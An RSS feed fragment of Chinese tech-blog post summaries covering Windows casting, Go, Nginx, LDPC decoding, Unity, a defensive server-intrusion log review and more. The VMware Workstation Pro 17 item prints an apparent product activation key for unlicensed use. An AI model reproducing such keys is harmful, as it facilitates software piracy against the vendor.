      <description>Windows 11不仅在界面和操作上进行了全面的优化和升级，其功能性也有所增强，尤其是在多屏互动方面。其中，投屏功能成为了家庭娱乐和工作展示的有力工具。下面，我们就来详细探讨如何利用Windows 11的投屏功能，将电脑屏幕内容扩展到电视上。&#xA;一、无线投屏 方法一：&#xA;1. 首先，确保您的Windows 11电脑已连接到Wi-Fi。按住Windows键，然后找到并打开您想观看的内容，例如使用“电影与电视”应用。&#xA;2. 当您打开想要观看的视频时，找到并点击屏幕右下角的菜单(通常表示为三个点)，从中选择“投射到设备”。&#xA;3. 此时，您需要确保您的智能电视已经安装了相应的接收应用，如“乐播投屏”，并且电视与电脑在同一局域网下。系统会搜索并显示可用的设备，选择您的电视进行连接。&#xA;方法二：&#xA;1. 在Windows 11电脑上，您可以直接按下“Win + K”快捷键，快速启动无线投放功能。&#xA;2. 如果您希望通过任务栏进行操作，可能需要先到设置中添加“投放”功能到通知区域。&#xA;3. 添加完成后，在任务栏的通知区域点击“投放”，系统会自动搜索并列出当前可用的无线显示器。&#xA;4. 选择您的电视或投屏设备，点击连接，即可开始无线投屏。&#xA;本文来源于：win11系统怎么将影视投屏到电视 win11无线投屏到电视的方法-下载集 (xzji.com)https://www.xzji.com/news/13911.html</description>
    </item>
    <item>
      <title>Go构建者模式</title>
      <link>https://bchobby.github.io/posts/87d793f41559b32bfc8d6d29254f7de5/</link>
      <pubDate>Tue, 17 Oct 2023 17:42:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87d793f41559b32bfc8d6d29254f7de5/</guid>
      <description>构建者模式是一种创建型设计模式，用于构建复杂的对象。它可以确保在一个 struct 有多个构造函数参数时依旧能保持代码的可读性与清晰性。&#xA;1、链式写法 type computer struct { cpu string arm string } func NewComputer() *computer { return &amp;amp;computer{} } func (c *computer) SetCPU(CPU string) *computer { c.cpu = CPU return c } func (c *computer) SetARM(ARM string) *computer { c.arm = ARM return c } func main() { c := NewComputer() c.SetCPU(&#34;Intel&#34;).SetARM(&#34;x86&#34;) fmt.Println(c) } 2、为什么使用构建者模式 分离 + 实施更细致的控制：使对象的构建逻辑与其表示相分离。 使用构建者模式，我们可以在调用Build()方法之前，执行更多的操作，比如验证属性的有效性，或者设置一些默认值。一般步骤如下：&#xA;编写原结构体编写原结构体的 Builder 结构体，为其编写 New 构建函数编写类似于之前链式调用的方法，但是返回 Builder 结构体编写 Build() 方法，返回值为原结构体 type computer struct { cpu string arm string } type computerBuilder struct { computer *computer } func NewComputerBuilder() *computerBuilder { return &amp;amp;computerBuilder{computer: &amp;amp;computer{}} } func (cb *computerBuilder) setCpu(cpu string) *computerBuilder { cb.</description>
    </item>
    <item>
      <title>Expected ‘this‘ to be used by class method “xxx“</title>
      <link>https://bchobby.github.io/posts/e600ccb1e3d78f713566b0abf50ba670/</link>
      <pubDate>Tue, 17 Oct 2023 17:33:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e600ccb1e3d78f713566b0abf50ba670/</guid>
      <description> 如果你的vue3项目开发中出现ts报错Expected &#39;this&#39; to be used by class method &#34;xxx&#34;,只需要在ts文件的头部添加以下注释可以绕过eslint对this验证问题&#xA;/* eslint-disable class-methods-use-this */ </description>
    </item>
    <item>
      <title>血泪教训！服务器被入侵怎么办？排查过程全分享</title>
      <link>https://bchobby.github.io/posts/1465f72405750632ca978a3f1e4eb284/</link>
      <pubDate>Tue, 17 Oct 2023 17:10:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1465f72405750632ca978a3f1e4eb284/</guid>
      <description>前言 一、服务器入侵现象 近期有一个朋友的服务器（自己做了网站）好像遭遇了入侵，具体现象是：服务器 CPU 资源长期 100%，负载较高。服务器上面的服务不能正常提供服务。&#xA;朋友处理了一会没有解决，我开始想说我不是搞安全的，我怎么会，但朋友开出了天价，一顿海底捞，我在生活和现实面前低头了，开始上手看看了。&#xA;二、服务器排查和处理 2.1、服务器被入侵的可能原因 服务器 ssh 密码 设置得很简单。腾讯云安全组范围放得很大。使用了宝塔，宝塔面板的密码也是很简单的密码（应该不是这个入侵入口）。 2.2、排查和处理步骤 1.ps -ef / top 找出占用进程最大的服务&#xA;问题现象 ps/top命令已经被替换了。&#xA;2.查找详细的入侵痕迹 last 或者 grep &#39;Accepted&#39; /var/log/secure。&#xA;问题现象 [root@VM-12-12-centos ~]# grep &#39;Accepted&#39; /var/log/secure Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2 Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2 Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.</description>
    </item>
    <item>
      <title>CentOS 6/7/8 操作系统镜像下载</title>
      <link>https://bchobby.github.io/posts/7c8b38a1e16875ea9d47e2fc5d616909/</link>
      <pubDate>Tue, 17 Oct 2023 11:59:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c8b38a1e16875ea9d47e2fc5d616909/</guid>
      <description>CentOS Mirrors List&#xA;​编辑&#xA;DownloadAbout About CentOS Frequently Asked Questions (FAQs) Special Interest Groups (SIGs) CentOS Variants Governance&#xA;Community Contribute Forums Mailing Lists IRC Calendar &amp;amp; IRC Meeting List Planet Submit a Bug Stories&#xA;Documentation Wiki Manuals GPG Key Info&#xA;Help In order to conserve the limited bandwidth available, ISO images are not downloadable from mirror.centos.org&#xA;The following mirrors in your region should have the ISO images available:&#xA;Index of /centos/7.</description>
    </item>
    <item>
      <title>Leetcode学习记录（1）</title>
      <link>https://bchobby.github.io/posts/05697caf08485e3db39a631434bf1c48/</link>
      <pubDate>Tue, 17 Oct 2023 11:52:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05697caf08485e3db39a631434bf1c48/</guid>
      <description> 1.unordered_map C++关联容器，内部hash表结构（检索）&#xA;通过key来检索value，不是通过绝对地址，内部无序，Map对应唯一值，动态管理&#xA;unordered_map&amp;lt;const Key, T&amp;gt; map; 如上述代码表述，则为2个参数&amp;lt;键，值&amp;gt;&#xA;2.auto auto：在块作用域、命名作用域、循环初始化语句等等中声明变量时，关键词auto用作类型指定符。&#xA;const:修饰符&#xA;​ 想要拷贝元素：for(auto x:range)&#xA;​ 想要修改元素 : for(auto &amp;amp;&amp;amp;x:range)&#xA;​ 想要只读元素：for(const auto&amp;amp; x:range)&#xA;3.stringstream #include&amp;lt;sstream&amp;gt; #include&amp;lt;iostream&amp;gt; using namespace std; int main() { string line,word; while(getline(cin,line)) { stringstream stream(line); cout&amp;lt;&amp;lt;stream.str()&amp;lt;&amp;lt;endl; while(stream&amp;gt;&amp;gt;word){cout&amp;lt;&amp;lt;word&amp;lt;&amp;lt;endl;} } return 0; } 输入：shanghai no1 school 1989 输出：shanghi no1 school 1989 shanghai no1 school 1989 stringstream是字符串流。它将流与存储在内存中的string对象绑定起来。&#xA;在多种数据类型之间实现自动格式化。&#xA;4.数学相关定理 </description>
    </item>
    <item>
      <title>【超级简单】3步 安装conda &#43; pytorch gpu版本</title>
      <link>https://bchobby.github.io/posts/ceff0abd0f7700d4a0bfabef3704abce/</link>
      <pubDate>Tue, 17 Oct 2023 11:14:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ceff0abd0f7700d4a0bfabef3704abce/</guid>
      <description>【超级简单】3步 安装conda + pytorch gpu版本 1. 创建虚拟环境至于python 3.X和cuda对应 ？ 2. 下载cuda 驱动，cuda toolkit (可选)3. 虚拟环境中输入以下指令至于 怎么查看自己电脑对应的cuda版本号 ？ 4.测试是否安装成功有疑惑可以再看看这篇文章写的。 下载anaconda，能让你高效管理不同版本运行环境。&#xA;conda + pytorch gpu&#xA;适用于linux 和window版本，&#xA;建议前提确保自己的显卡能用哈。&#xA;以下是在window10的示范。&#xA;1. 创建虚拟环境 conda create -n your_env_name python=3.X&#xA;conda avtivate your_env_name&#xA;至于python 3.X和cuda对应 ？ 参考Tensorflow 的资料：&#xA;https://www.tensorflow.org/install/source_windows?hl=zh-cn&#xA;2. 下载cuda 驱动，cuda toolkit (可选) https://developer.nvidia.com/cuda-toolkit-archive&#xA;下载成功的话可以 在cmd 输入 nvcc -V, 显示版本号。&#xA;显示 not found 则说明没转成功。&#xA;3. 虚拟环境中输入以下指令 conda install pytorch torchvision torchaudio cudatoolkit=X.X -c pytorch X.</description>
    </item>
    <item>
      <title>【C&#43;&#43;问题】 error: character constant too long for its type</title>
      <link>https://bchobby.github.io/posts/398af10926787457d8abda2daddd39dd/</link>
      <pubDate>Tue, 17 Oct 2023 10:58:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/398af10926787457d8abda2daddd39dd/</guid>
      <description>error: character constant too long for its type 这个错误是因为在打印时使用了单引号&#39; &#39;导致的。将其更改为双引号 &#34; &#34; 即可解决。&#xA;参考链接:&#xA;https://blog.csdn.net/AngelDg/article/details/130016350</description>
    </item>
    <item>
      <title>芯旺微chipon KF32A156系列ccp模块用于输出 pwm 的基本使用</title>
      <link>https://bchobby.github.io/posts/50955781e44bb7e798d981223a1758e2/</link>
      <pubDate>Tue, 17 Oct 2023 10:15:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50955781e44bb7e798d981223a1758e2/</guid>
      <description>原创扣字不易，转载请注明源出处！！！ 芯旺微chipon KF32A156系列 CCP 模块的基本使用 在数据手册上可以看到引脚具备CCPxCHy等功能映射，如下图。&#xA;这些是capture、compara、pwm的首字母缩写。其中CCPx是以定时器为时基，CHy就是通道。通常一个通用定时器下的CCP模块是可以有4个通道，就PWM而言，这4个通道可以配置成频率相同，占空比不同的通道，支持中心对齐和边沿对齐。&#xA;下面我们以 PH1和PD14为例来进行配置 ：&#xA;配置步骤如下：&#xA;1、首先查询数据手册可知：PH1可以配置为CCP1CH2，PD14可以配置为CCP1CH1，图中可以看到其实这两个脚也可以配置为其他通道的用来输出PWM，我们这里就都是用Timer1，也同时为了演示一个定时器如何配置多个通道。&#xA;小提示：配置流程三步走又来了：&#xA;2、老规矩， 第一步配置引脚 。既然引脚要配置功能，那就离不开重映射配置，先把引脚重映射功能根据数据手册指示的重映射通道来配置，程序如下：&#xA;GPIO_Write_Mode_Bits (GPIOH_SFR,GPIO_PIN_MASK_1, GPIO_MODE_RMP); //预期输出20KHZ GPIO_Write_Mode_Bits (GPIOD_SFR,GPIO_PIN_MASK_14, GPIO_MODE_RMP); //预期输出20KHZ GPIO_Pin_RMP_Config(GPIOH_SFR,GPIO_Pin_Num_1, GPIO_RMP_AF10); //CCP1CH2 GPIO_Pin_RMP_Config(GPIOD_SFR,GPIO_Pin_Num_14, GPIO_RMP_AF2); //CCP1CH1 3、配置外设本身，那么PWM设计到的外设，一个是定时器，还有一个是CCP模块，定时器设置和频率相关，CCP模块可以配置有哪些通道打开，占空比多少，pwm输出方式等等。看下面的程序配置&#xA;TIM_Reset(CCP1_SFR); /* CCP &#39;s PWM function channel mode */ CCP_PWM_Mode_Config(CCP1_SFR, CCP_CHANNEL_1, CCP_PWM_MODE); //配置t1通道1为pwm模式 CCP_PWM_Mode_Config(CCP1_SFR, CCP_CHANNEL_2, CCP_PWM_MODE);//配置t1通道2为pwm模式 /* Configure CCP channel output to control PWM output, high effective */ CCP_Channel_Output_Control(CCP1_SFR, CCP_CHANNEL_1, CCP_CHANNEL_OUTPUT_PWM_INACTIVE); //配置通道1对齐方式，可自行查询其他方式 CCP_Channel_Output_Control(CCP1_SFR, CCP_CHANNEL_2, CCP_CHANNEL_OUTPUT_PWM_INACTIVE); //配置通道2对齐方式，可自行查询其他方式 /* PWM duty cycle */ CCP_Set_Compare_Result(CCP1_SFR, CCP_CHANNEL_1, 6001); //设置占空比 CCP_Set_Compare_Result(CCP1_SFR, CCP_CHANNEL_2, 6001); //设置占空比 /* Timing mode selection */ GPTIM_Work_Mode_Config(CCP1_SFR, GPTIM_TIMER_MODE); /* Timer count value */ GPTIM_Set_Counter(CCP1_SFR, 0); /* Timer period value */ GPTIM_Set_Period(CCP1_SFR, 6000); /* Timer prescaler value */ GPTIM_Set_Prescaler(CCP1_SFR, 0); #if 1 /* Up-counting mode, that is, edge-aligned PWM signal */ GPTIM_Counter_Mode_Config(CCP1_SFR, GPTIM_COUNT_UP_OF); //边沿对齐的定时器计数模式设置 #else /* Up and down counting mode, that is, center-aligned PWM signal */ GPTIM_Counter_Mode_Config(CCP1_SFR, GPTIM_COUNT_UP_DOWN_OF); //中心对齐的定时器计数模式设置 #endif /* Configure working clock */ GPTIM_Clock_Config(CCP1_SFR, GPTIM_SCLK); GPTIM_Updata_Immediately_Config(CCP1_SFR, TRUE); GPTIM_Updata_Enable(CCP1_SFR, TRUE); GPTIM_Updata_Immediately_Config(CCP1_SFR, FALSE); /* Enable timer */ GPTIM_Cmd(CCP1_SFR, TRUE); 4、配置中断，由于pwm一般无需开中断，这里就不说明中断配置了，如果有特殊需求，可以自行开启对应的中断。一般使用ccp的capture或者compara的功能会使用到中断。</description>
    </item>
    <item>
      <title>Nginx代理接口访问返回404</title>
      <link>https://bchobby.github.io/posts/b0428203f391c3deb74beecb3451ddd6/</link>
      <pubDate>Tue, 17 Oct 2023 08:46:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0428203f391c3deb74beecb3451ddd6/</guid>
      <description> Nginx代理接口访问返回404 一、背景 因为不同业务系统间有接口调用，存在跨域问题，为了解决同源策略，需要将接口通过nginx去转发，但是配置完后通过postman请求一直存在访问404的问题。&#xA;访问地址：https://a.test.com/nsyapi/oauth/loginOther&#xA;被代理接口地址：https://b.prod.com/api/oauth/loginOther&#xA;二、Nginx配置后的现象 postman请求接口出现404报错&#xA;三、原因 由于proxy_pass请求头出现问题导致返回404。可以在配置中添加一些相关的请求头来解决这个问题。例如&#xA;在这个配置中，我们添加了三个新的请求头Host、X-Real-IP和X-Forwarded-For，这可以帮助我们正确地将请求传递到目标服务器，并确保我们收到正确的响应。&#xA;四、 解决办法 去掉 proxy_redirect off;&#xA;增加 proxy_set_header Host $proxy_host;&#xA;postman请求接口正常&#xA;命令行验证接口请求成功&#xA;[root@Nginx-01 yukw]# curl -H &#34;Content-Type: application/json&#34; -X POST -d &#39;{&#34;mobile&#34;:&#34;18763823456&#34;,&#34;source&#34;:&#34;aa&#34;,&#34;type&#34;:&#34;3&#34;,&#34;route&#34;:&#34;orderList?order_id=233&amp;amp;renew=abc&#34;}&#39; &#34;https://b.prod.com/api/oauth/loginOther&#34; {&#34;code&#34;:1,&#34;result&#34;:&#34;dbb1623e-1747-4017-b8e8-96ace309982f&#34;,&#34;msg&#34;:&#34;登录成功&#34;} [root@Nginx-01 yukw]# curl -H &#34;Content-Type: application/json&#34; -X POST -d &#39;{&#34;mobile&#34;:&#34;18763823456&#34;,&#34;source&#34;:&#34;aa&#34;,&#34;type&#34;:&#34;3&#34;,&#34;route&#34;:&#34;orderList?order_id=233&amp;amp;renew=abc&#34;}&#39; &#34;https://a.test.com/nsyapi/oauth/loginOther&#34; {&#34;code&#34;:1,&#34;result&#34;:&#34;f23b2a24-dd7e-464e-bc1f-a4806097e252&#34;,&#34;msg&#34;:&#34;登录成功&#34;} 五、总结： 1、确认proxy_pass指向的地址是否正确;&#xA;2、确认目标服务器是否正常;&#xA;3、确认proxy_pass请求头的正确性; 好了，这就是Nginx代理接口访问返回404的解决办法了，如有问题可与博主一起交流讨论！&#xA;参考：https://pythonjishu.com/nvsknuuxbmoexma/ </description>
    </item>
    <item>
      <title>LDPC译码原理（公式推导）及其matlab代码实现（超详细）</title>
      <link>https://bchobby.github.io/posts/8c034399566024e2e642d24953161419/</link>
      <pubDate>Tue, 17 Oct 2023 07:55:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c034399566024e2e642d24953161419/</guid>
      <description>目录 博文更改记录一、背景概述二、LDPC译码理论2.1 LDPC码的表示方法2.1.1LDPC码的矩阵表示2.1.2 Tanner图表示 2.2符号说明2.3LDPC译码算法2.3.1引理1及其证明2.3.2和积译码算法（概率域译码算法）2.3.3对数域BP译码算法（LLR BP）2.3.4最小和译码算法（Min-Sum BP）2.3.5改进的最小和译码算法（NMSA and OMSA） 三、LDPC译码算法的matlab实现3.1BPSK调制体制下关于SNR和 E b / N 0 E_b/N_0 Eb​/N0​与 δ \delta δ之间的关系3.2AWGN信道下的初始化3.3基于归一化最小和译码算法（Normalized min-sum algorithm,NMSA）的matlab实现3.4分层归一化最小和LDPC译码算法3.4.1LBP译码算法3.4.2 分层最小和译码算法的matlab实现3.4.3 LBP译码算法和NMSA译码算法收敛速度对比 四、LDPC译码的调度算法 博文更改记录 时间版本号更改内容2022年4月12日 15:20V1.0新建博文2022年4月20日 13:20V1.1完成初稿，并发布该博文，初稿内容包含相关背景概述，及相关LDPC译码理论公式推导。2022年4月21日 9:08v1.2补充2.4.2小节AWGN信道下的初始化的相关内容2022年5月1日 14:25v1.3补充3.3节和3.4节关于归一化最小和译码算法和分层最小和译码算法等内容2022年5月20日 11:26V1.4补充2.3.5小节关于改进的最小和译码算法，增加LBP算法和NMSA收敛速度比较的Monte Carlo仿真matlab代码 一、背景概述 低密度奇偶校验码（Low-Density Parity-Check Codes）凭借其逼近Shannon限的纠错性能，受到了信道编译码学者的广泛关注，已成为DVB-S2、IEEE802.16e、CCSDS、5G等无线通信标准首选的信道编码方案。2001年，S.Chung等人的研究结果表明，码率1/2、码长10^7的非规则LDPC码在AWGN信道下采用置信传播算法进行迭代译码，当错误概率为10 ^-6时，距离Shnnon限仅相差0.0045dB。&#xA;LDPC码最迷人的地方在于译码算法，本文主要关注基于置信传播的迭代译码算法，博主在初学时，在阅读论文和相关书籍过程中，发现关于LDPC译码理论方面的讲解，公式推导讲的不是很清楚，需要阅读大量的书籍和文献，才能对其有一个系统性的认识；且关于LDPC译码matlab代码实现没有详尽的注释，理解起来较为困难，入门较难，花费较多时间；本文主要介绍基于置信传播的迭代译码算法及其改进算法，对涉及的公式，进行了详细的推导，并附上自己的理解；除此之外给出了matlab实现代码。因本文内容较多，难免会出现错误，还请各位读者批评指正，希望这篇博文能对大家有所帮助和启发。&#xA;二、LDPC译码理论 2.1 LDPC码的表示方法 2.1.1LDPC码的矩阵表示 一个LDPC码 v v v 是一种（ n n n， k k k）线性分组码，码长为 n n n，信息序列长度为 k k k，可由其校验矩阵H所唯一确定，校验矩阵中1的数目远小于0的数目，具有稀疏性。H的维数是 m × n m\times n m×n，每一行对应一个校验方程（也称校验节点），每一列对应码字的一位（也称变量节点）。每一行中非零元素的个数称为行重，每一列中非零元素的个数称为列重。&#xA;下面是一个5 × \times × 10的校验矩阵及其对应的校验方程：</description>
    </item>
    <item>
      <title>VMware Workstation Pro 17 的下载、激活、使用</title>
      <link>https://bchobby.github.io/posts/ccb53cd81d540b47c12cb30d8514c145/</link>
      <pubDate>Tue, 17 Oct 2023 02:08:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccb53cd81d540b47c12cb30d8514c145/</guid>
      <description>下载链接： https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html&#xA;进入官网下载安装&#xA;MC60H-DWHD5-H80U9-6V85M-8280D 镜像文件下载&#xA;win10 ：https://www.microsoft.com/zh-cn/software-download/windows10&#xA;下载后安装，选择为iso下载。&#xA;在安装镜像时，出现time out 情况&#xA;需要在虚拟机一开始进入时，随意按下任何键进入安装。（不及时按就会超时，等待后面选择restart）</description>
    </item>
    <item>
      <title>网上书店系统设计</title>
      <link>https://bchobby.github.io/posts/ede78f311848ffc1df3b50f09d711131/</link>
      <pubDate>Tue, 17 Oct 2023 00:49:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ede78f311848ffc1df3b50f09d711131/</guid>
      <description>目录&#xA;摘要 iii&#xA;Abstract iv&#xA;第一章 绪论 1&#xA;1.1 网上书店系统概论 1&#xA;1.1.1 课题开发的背景 1&#xA;1.2 课题开发的意义 2&#xA;1.2.1网上书店的优势 2&#xA;1.2.2 目前国内网上书店存在的主要问题 3&#xA;1.3 结构模式 4&#xA;第二章 开发技术综述 6&#xA;2.1 开发工具与环境 6&#xA;2.2开发平台 7&#xA;2.2.1 硬件平台 7&#xA;2.2.2 软件平台 7&#xA;2.2.3 技术平台 7&#xA;2.3 开发语言 8&#xA;2.3.1 HTML超文本标识语言 8&#xA;2.3.2 脚本语言 9&#xA;2.3.3 文本编辑方式 9&#xA;2.3.4 利用可视化编辑工具软件 9&#xA;2.4数据库技术 10&#xA;2.4.1 Microsoft SQL SERVER 2005数据库简介 10&#xA;2.4.2 连接SQL SERVER 2005数据库 11</description>
    </item>
    <item>
      <title>学习Vue的心路历程（二）用Vue实现一个简易的登录页面</title>
      <link>https://bchobby.github.io/posts/0d2db12d429fcceba8e2c1231000bf10/</link>
      <pubDate>Mon, 16 Oct 2023 21:25:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d2db12d429fcceba8e2c1231000bf10/</guid>
      <description>一、创建一个Vue文件（作者选择的是vscode） 二、更改默认加载路径，打开router目录下的index.js文件，修改为下图 修改完后代码为&#xA;import Vue from &#39;vue&#39; import VueRouter from &#39;vue-router&#39; import Login from &#39;../components/Login_ages.vue&#39; Vue.use(VueRouter) const routes = [ { path: &#39;/&#39;, name: &#39;Login&#39;, component: Login } ] const router = new VueRouter({ routes }) export default router 三、修改App.vue,如下图 修改前： 修改后： 代码为：&#xA;&amp;lt;template&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;router-view&amp;gt;&amp;lt;/router-view&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; &amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; #app { font-family: &#39;Avenir&#39;, Helvetica, Arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-align: center; color: #2c3e50; margin-top: 60px; } &amp;lt;/style&amp;gt; 每次修改完都记得按CTRl+S保存 四、编写登录界面Login_ages.</description>
    </item>
    <item>
      <title>给大家推荐个生成前端代码的工具，支持vue代码，支持组件拖拽</title>
      <link>https://bchobby.github.io/posts/d7a518d48f74dcbdd08a899d7f6f4c19/</link>
      <pubDate>Mon, 16 Oct 2023 20:38:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7a518d48f74dcbdd08a899d7f6f4c19/</guid>
      <description>我自己有一个服务器，一直想着做点网页什么的，不然放在那儿都浪费了。无奈作为一个后端，前端的知识不够，就找了一个生成前端代码的工具。我自己用下来，感觉还真不错，推荐给各位。下面这张图就是iVX这个工具的主页，我们直接进入iVX CN后，点击开始开发即可。&#xA;我这里为了演示，放了很多控件进去。可以看到有编辑框、按钮、Excel组件选项。还有高德地图的组件，不过需要api，我就没有放。我现在的打算是用iVX先开发一些网页，正好它生成的前端代码都是vue的，一直听说vue不错，所以趁这个机会接触学习一下vue。&#xA;在代码编辑器的右上角我们可以选择是使用手机，还是使用电脑，调成电脑后，分辨率会比较大些，也方便观察一些细节。其实我觉得搞明白iVX的组件界面是怎么放置的，非常重要。我因为用java所以顺带着学了Swing，在Swing中有GridLayout 以及 BorderLayout 等布局什么的，但是对于现在前端这一块儿，还有些模糊，但是我知道这个非常重要。毕竟大家学习前端就是画一张皮嘛。就是个浏览器端GUI界面。&#xA;首先我对这个布局的要求就是能够跟随窗体的变换而变化，而这个需求在业内有个术语叫做响应式布局，就是比如我在电脑上是一种界面，到了手机上会自动调整。那我了解了一下，在iVX中也有这样的一种布局，叫做栅格系统的页面布局。我们来一起看下。&#xA;进入这个布局页面，这是要给demo，我们点击右上角的下载。它就会自动加载这个demo。&#xA;如下图所示，这是iVX官网的栅格系统demo，我们也可以直接拿来使用需要做出调整的改一改就可以。&#xA;当然，iVX不止栅格系统布局一种，还有我们常用的居中布局和移动三段式布局，具体都可以在iVX的官网布局中看到。在这里我非常建议大家将iVX的官方教程视频教程全部看完。因为我自己瞎琢磨浪费了不少时间。。。发现官网居然直接有教程。。而且教程的制作者明显是个前端高手，iVX用的熟练的很。跟着视频教程学准没错。&#xA;接下来我们导出前端源码，在导出之前注意点击上方的保存按钮。&#xA;最后是导出后的代码vue文件代码。到这儿就结束了，后续我还想再研究研究，怎么把这个vue文件用在浏览器中，这一步非常关键，因为我们制作出来的代码文件不就是为了使用么，这可真难为一个后端了。在此我也非常推荐大家使用iVX，可以说让我涉足前端的阻力少了许多。&#xA;对了，这个iVX后续还会开源的哦，如果对你有用不要忘记点赞收藏评论关注！</description>
    </item>
    <item>
      <title>p4 使用操作记录</title>
      <link>https://bchobby.github.io/posts/a185f38a443d3331720070ac68da05bc/</link>
      <pubDate>Mon, 16 Oct 2023 19:30:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a185f38a443d3331720070ac68da05bc/</guid>
      <description>一、查询文件在那个workspace 下被锁定 使用命令：&#xA;p4 opened -a p4文件地址&#xA;二、 解锁文件命令 删掉work space 即可解锁changelist 中被迁出的文件。&#xA;p4 -c workspace(px) unlock -fx //Project_Station/main/…/BaseMat_Orange.file.&#xA;三、清理其他人锁定的资源 p4 revert -C xxx_01_Project //Project/dev/Project/Content/ExternalActors/Maps/****/A/J4/QEC6RI7WG7INZCIRJ8C71M.uasset&#xA;###四、 还原某个的工作区的changelist 内容&#xA;p4 revert -C ***_xxx_Project //…&#xA;注意C大写。&#xA;五、查找某个steam关联的所有工作区 举例：&#xA;p4 clients -S //UnrealEngine5/main_Preview1 删掉某个steam&#xA;p4 stream -d -f //UnrealEngine/main_Preview1 清理某个仓库文件的历史记录&#xA;清理某个文件从1到80的提交记录。&#xA;p4 obliterate -y //Projec/xxxzip#1,80 记录一下。</description>
    </item>
    <item>
      <title>unity面试八股文 - 框架设计与资源管理</title>
      <link>https://bchobby.github.io/posts/49024781d6e947b23d63799dd47543ed/</link>
      <pubDate>Mon, 16 Oct 2023 18:15:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49024781d6e947b23d63799dd47543ed/</guid>
      <description>Unity项目框架是如何设计的？有哪些原则 在设计Unity项目框架时，通常会遵循一些基本的原则和步骤。以下是主要的一些原则：&#xA;模块化：每个功能都应该被作为一个独立的模块来处理，这样可以方便修改和维护。&#xA;低耦合：不同模块之间应尽可能减少直接交互，使用事件或者接口等方式进行通信。&#xA;高内聚：每个模块应尽量只做一件事情，并且做好它。&#xA;可扩展性：设计框架时要考虑到未来可能需要添加或者修改功能的需求，所以需要有良好的扩展性。&#xA;可维护性：代码结构清晰、注释充分、命名规范等都能提高代码的可读性和维护性。&#xA;以下是一个简单的Unity项目框架设计流程：&#xA;确定游戏类型和核心玩法。&#xA;根据需求分析出需要哪些系统（比如角色系统、战斗系统、UI系统等）。&#xA;为每个系统创建相应的目录，并在目录下创建对应类文件。&#xA;设计各个类之间关系，如何交互和通信。&#xA;编写具体实现代码，并进行测试优化。&#xA;资源管理是如何做的，如何更新与打空包 在Unity中，资源管理是一个非常重要的部分。&#xA;基本步骤和原则：&#xA;资源分类：根据资源类型（如场景、音频、模型、贴图等）进行分类存放，有利于维护和查找。&#xA;使用AssetBundle：AssetBundle是Unity用于实现动态加载和更新的一种方式。你可以将游戏中的各种资源打包成AssetBundle，然后在运行时动态加载。&#xA;优化内存使用：尽量避免不必要的内存占用。比如对于不再使用的资源，应该及时销毁或者卸载。&#xA;版本控制：对项目中所有重要文件进行版本控制，以便追踪每个文件的修改历史，并在需要时回滚到之前的版本。&#xA;关于更新与打空包：&#xA;在Unity中，你可以通过构建AssetBundle来实现热更新。当有新内容需要添加或者旧内容需要修改时，只需构建出相应的AssetBundle并上传到服务器即可。客户端在启动游戏时检测到新版本后会自动下载并加载新版AssetBundles。&#xA;打空包通常指生成一个不含任何内容（或只含极少必须内容）但结构完整可运行且能从服务器下载更新数据包填充自身内容以达到完全功能状态游戏安装包，在移动平台上这样做可以显著减小安装包大小以提高用户体验。&#xA;注意这里所说“空”并非真正意义上无任何东西而是相较完全版来说去除了大部分非必须启动项而言。“空”的定义因项目需求可能会有所变化。&#xA;具体操作过程可能涉及多个环节如服务器配置、客户端代码编写等，请根据具体需求设定合适流程。&#xA;资源管理的平台，版本，渠道是如何管理的 在Unity中，资源管理的平台、版本和渠道通常需要通过一些特定的工具和策略来进行管理。以下是一些基本的方法：&#xA;平台管理： Unity提供了跨平台发布功能，可以方便地将游戏发布到不同的平台上。在项目设置中，你可以选择目标平台，并对该平台进行特定的优化设置。&#xA;同时，在代码中也可以使用预处理指令（如#if UNITY_ANDROID, #if UNITY_IOS等）来编写针对不同平台的代码。&#xA;版本管理： 版本控制系统（如Git、SVN等）是用于跟踪文件变更历史以及协同开发非常重要的工具。每次提交都会记录下当前所有文件状态，当需要时还能回滚到之前任意一个提交状态。&#xA;除此之外，Unity内部也有一个简单版控制系统——Asset Serialization模式。它允许你以文本或二进制格式保存场景和预设体等资源，并且支持多人同时编辑一个场景。&#xA;渠道管理： 对于渠道管理，你可能需要构建不同版本的应用以适配各个发行渠道（如Google Play Store, App Store, Steam等）。这可能涉及改变游戏内购买系统、广告SDK或者其他第三方插件配置等内容。&#xA;此外，在打包时候添加相应标识符区分不同渠道包也是常见做法。例如通过Scripting Define Symbols定义预处理指令区分各个市场版本，在编译时动态改变某些代码执行流程。&#xA;以上就是在Unity中进行资源管理相关操作所采取方法概述，请根据实际项目需求选择合适方式。&#xA;项目框架是如何让美术，策划，程序愉快的工作的 